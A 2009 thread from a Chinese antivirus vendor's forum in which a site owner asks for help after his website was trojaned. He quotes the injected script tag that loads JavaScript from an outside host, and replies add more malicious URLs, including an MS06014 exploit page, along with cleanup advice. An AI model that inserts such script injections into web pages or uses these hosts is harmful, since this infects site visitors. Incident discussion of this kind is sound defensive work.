瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 含泪求助,我的网站被人挂马
rangxun - 2009-3-11 13:27:00
含泪求助,我的网站被人挂马,每次打开都会出现开机很慢等现象

每次打开我的网站,他都会先执行打开其他网站
访问地址:http://www.sb3452.cn/a1/MS06014.htm
访问网页的进程:"C:\Program Files\Internet Explorer\iexplore.exe"
漏洞对象名:microsoft.xmlhttp

我仔细观察我的网站的网页代码,发现网页内增加了以下代码;
<script>document.writeln("");</script>
<script language="javascript" src="http://mon.qc.cx/asd.js?s=201&col=ffdd00"></script><!doctype html public "-//w3c//dtd html 4.0 transitional//en">
把网页文件上增加的木马代码删除了,过不了多久,这些代码又会自己生成上去了!
networkedition - 2009-3-11 13:30:00
http://www.yd2265.cn/yhyw/2.htm(被挂网址)
http://d.wixww.com:88/new/a1.css
ty88 - 2009-3-11 13:32:00
清除就好
艾玛 - 2009-3-11 15:12:00
请靠知您的网站地址


若是服务器问题,请向服务商反馈要求补安全漏洞;若是您网站漏洞,请自己检查代码安全性。

临时解决办法:使用代码清除工具清除被修改文件中的恶意代码。
xfuyct - 2009-3-11 15:51:00
刚刚发现管理的一个PW6.32论坛结构也被挂了这个
JS注入吧
已经删除了XML文件和JS文件
怀疑为统计工具产生的
现在已经删除了该代码
暂时未有任何不良反应。。。
瑞星工程师12 - 2009-3-16 11:08:00
地址已无法访问
zg1_2004 - 2009-3-16 11:19:00
该用户帖子内容已被屏蔽
1
查看完整版本: 含泪求助,我的网站被人挂马